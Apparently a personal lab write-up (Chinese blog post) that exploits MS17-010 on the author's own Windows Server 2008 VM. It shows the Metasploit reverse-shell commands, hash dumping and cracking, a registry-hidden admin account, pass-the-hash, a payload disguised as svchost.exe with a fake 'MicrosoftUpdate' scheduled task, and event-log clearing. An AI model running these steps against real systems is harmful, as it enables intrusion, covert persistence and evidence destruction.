【安防】Windows Server 2008虚拟机忘记密码的一时兴起

0x01 声明

        本文所涉及的技术、思路和工具仅用于安全测试和防御研究,切勿将其用于非法入侵或攻击他人系统等目的,一切后果由使用者自行承担。

0x02 背景

        很长时间没启动我的winser2008了,想着看看这个服务器系统本地安全策略与我本地win10系统安全策略的区别。我测试用的虚拟机密码都是弱口令(这种习惯不好,千万不要带到企业里去哈),但是虚拟机启动后,尝试了几遍密码,都没登上去,想重设密码还没配置密码重置盘,就给我整郁闷了。又不想重装一个新的虚拟机,然后我突然想到,这种win2008比较老的操作系统存在许多漏洞没有打补丁,而且说不定我之前使用的时候还放开了某些端口,这不,开启我的网安菜白修改密码之路,走起!

0x03 信息收集

常规思路,先做信息收集,扫描下win2008的ip地址及开放端口服务。这时候就轮到我的另外一台虚拟机---kali出场了。

1、确定目标对象的IP

(1)使用nmap扫描整个网段

nmap -sn 192.168.42.0/24

从MAC地址大概就可以分辨出win2008是哪个IP地址

MAC地址 00:0C:29开头 是标准的VMware虚拟机MAC前缀
其他IP的MAC都是 00:50:56 开头,这是VMware虚拟网卡的MAC

排除掉Kali自身的ip,剩下那个就是win2008的IP地址。

(2)“虚拟机-设置”菜单栏查询

当然还可以通过”虚拟机-设置-网络适配器-高级“界面路径直接查看MAC地址,进一步确定IP

(3)wireshark抓包分析

除了使用nmap扫描整个网段,也可以使用wireshark进行抓包分析

虚拟机配置的nat模式,打开wireshark并启动win2008虚拟机,对VMnet8虚拟网卡进行抓包

从抓包结果来看,VMware_6B:CB:0B发送三个免费ARP用于检测192.168.42.145是否有其他主机使用,随后开始使用这个IP地址进行网络活动。

2、针对指定IP去扫描已开放的端口

nmap -p 1-65535 -T4 192.168.42.145

  

已知开放的端口:

135/tcp -MSRPC端点映射器

445/tcp -SMB文件共享服务

49154-49156/tcp -动态RPC端口

3、对已开放的端口检测存在的漏洞

(1)RPC服务枚举和漏洞检测

# 使用rpcclient枚举RPC服务
rpcclient -U "" -N 192.168.42.145 -c "srvinfo;enumdomusers;lsaquery"

# 使用Impacket工具套件
git clone https://github.com/SecureAuthCorp/impacket.git
cd impacket/examples

# 枚举RPC端点
python rpcdump.py 192.168.42.145

# 尝试空会话连接
python samrdump.py 192.168.42.145
python lookupsid.py 192.168.42.145

遗憾的是:目标不存在RPC空会话匿名漏洞,核心信息枚举失败;

(2)SMB漏洞综合检测

# 使用nmap全面SMB漏洞扫描
nmap --script smb-vuln* -p445 192.168.42.145

检测到存在永恒之蓝漏洞:ms17-010

该漏洞可直接通过SMB服务在目标系统上执行任意代码,无需用户名密码,并可获得SYSTEM权限

0x04 漏洞利用

1、Metasploit框架启动

#启动metasploit
msfconsole

#搜索相关模块
search ms17-010

#使用永恒之蓝利用模块
use exploit/windows/smb/ms17_010_eternalblue

#设置目标
set RHOSTS 192.168.42.145

#设置payload(推荐使用Meterpreter)
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.42.128
set LPORT 4444

#执行攻击
exploit

2、payload抓包分析

使用wireshark分析攻击流量,可观察到明显的payload特征

MSF向winserver发送构造的恶意数据包,利用MS17-010漏洞在目标主机上获得代码执行权限。

漏洞利用成功后,MSF配置的payload在目标主机上运行,让目标主机反向连接到渗透机4444端口,即反弹shell。连接建立后,渗透机器则可以向目标主机端口(49159)发送指令和数据。

3、修改管理员密码

shell进入window系统控制终端,使用ner user命令修改管理员登录口令,实现修改密码的目的

(执行命令若存在乱码,可使用chcp 65001 => UTF-8)

shell
net user Administrator Password123!

4、查询网络状态

使用修改后的密码登录上windows server 2008,查询网络状态,可以发现kali与win2008的TCP连接

########################扩展#######################

5、John破解

如果账号密码非强口令则可以使用工具如John the Rippper或Hashcat 破解哈希获得明文密码

(1)hashdump获取哈希值

格式=>用户名:RID:LM哈希:NTLM哈希:::

hashdump
Administrator:500:AAD3B435B51404EEAAD3B435B51404EE:31D6CFE0D16AE931B73C59D7E0C089C0:::
Guest:501:AAD3B435B51404EEAAD3B435B51404EE:31D6CFE0D16AE931B73C59D7E0C089C0:::
YourUser:1001:AAD3B435B51404EEAAD3B435B51404EE:8846F7EAEE8FB117AD06BDD830B7586C:::

msf环境下运行hashdump时,它会从SAM(安全账户管理器)数据库中提取 所有本地用户的用户名、对应的密码哈希(NTLM/LM哈希)、用户SID(安全标识符)、其他账户等信息。

(2)John the Ripper工具破解

# 使用规则攻击(变形字典中的单词)
john --format=NT --wordlist=/usr/share/john/password.lst --rules hashes.txt

#显示已破解的密码
john --show --format=NT hashes.txt

由于测试的虚拟机是弱口令,使用John再配上变形规则比较容易命中。

(实际上最后测试的结果是我虚拟机为强口令,使用john破解失败,让我记起密码,有点搞笑)

0x05 维持权限

1、创建隐藏管理员账户

#创建用户,用户名为类似系统用户,比如$符号结尾
net user apple$ Password123! /add

#将用户添加到管理员组
net localgroup administrators apple$ /add

#并使用reg命令修改注册表将其隐藏
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" -v "apple$" /t REG_DWORD /d 0 /f

这样在系统登录界面以及控制面板用户管理界面都不会展示,但在“计算机管理-本地用户和组”菜单栏还是能够看得到。(实际渗透工作中创建账户属于高噪音操作)

2、哈希传递利用

# 直接使用哈希进行身份验证,无需破解密码
meterpreter > use exploit/windows/smb/psexec
msf6 > set SMBUser Administrator
msf6 > set SMBPass aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c
msf6 > set RHOSTS 192.168.1.100
msf6 > exploit

经过测试,将登录用户名的密码进行修改,哈希也随之变更,旧哈希则无法建立连接。

3、持久化访问

(1)生成 payload 

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.42.128 LPORT=4444 -a x86 --platform windows -f exe -o /root/svchost.exe

(2)上传到目标主机

# 在MSF中
meterpreter > upload /root/svchost.exe C:\\Windows\\Temp\\svchost.exe
meterpreter > shell
# 创建计划任务
C:\> schtasks /create /tn "MicrosoftUpdate" /tr "C:\Windows\Temp\svchost.exe" /sc onstart /delay 0001:30 /ru "SYSTEM" /f
# 立即测试
C:\> schtasks /run /tn "MicrosoftUpdate"

(3)设置监听器

msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 192.168.42.128
msf6 exploit(multi/handler) > set lport 4444
msf6 exploit(multi/handler) > set exitonsession false
msf6 exploit(multi/handler) > exploit -j

0x06 日志清理

在实际安防对抗中,最后一步就是操作记录清理,体现渗透的完整性。

# 检查是否有相关进程在运行
meterpreter > ps | grep -i svchost

# 发现有异常的svchost进程,结束它
meterpreter > kill 1552

# 删除上传payload文件
meterpreter > rm C:\\Windows\\Temp\\svchost.exe

# 删除创建的计划任务
meterpreter > shell
C:\> schtasks /delete /tn "MicrosoftUpdate" /f
C:\> exit

# 清除操作痕迹
meterpreter > clearev

0x07 总结

        这次利用老系统未打补丁的漏洞去修改密码也是相当耗时的,毕竟没有过渗透经验,专有的名词不知道啥意思,还是需要去科普。其实只是修改密码的话很简单,但是我希望把这当成一个小小的渗透测试,想着按照常规的流程应该如何去操作,培养这方面的思路,不然也不会有后面的权限维持和日志清理还有john工具的使用。当然,经过这次的测试,让我对安全防范意识也有进一步增强,比如系统及时升级打补丁、将不常用的端口关闭、账号密码使用强口令并定期更换、用户权限最小化分配等等。虽然说都是老生常谈,但是在实际攻防中,这些确实都是比较重视的地方,还是不能掉以轻心,最好应用实践在日常生活中,就像我最后发现我的测试虚拟机竟然是个强口令一样,哈哈。

        最后声明下,鉴于渗透的安全合规性,本文所涉及的技术、思路和工具仅用于安全测试和防御研究,切勿将其用于非法入侵或攻击他人系统等目的,一切后果由使用者自行承担。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值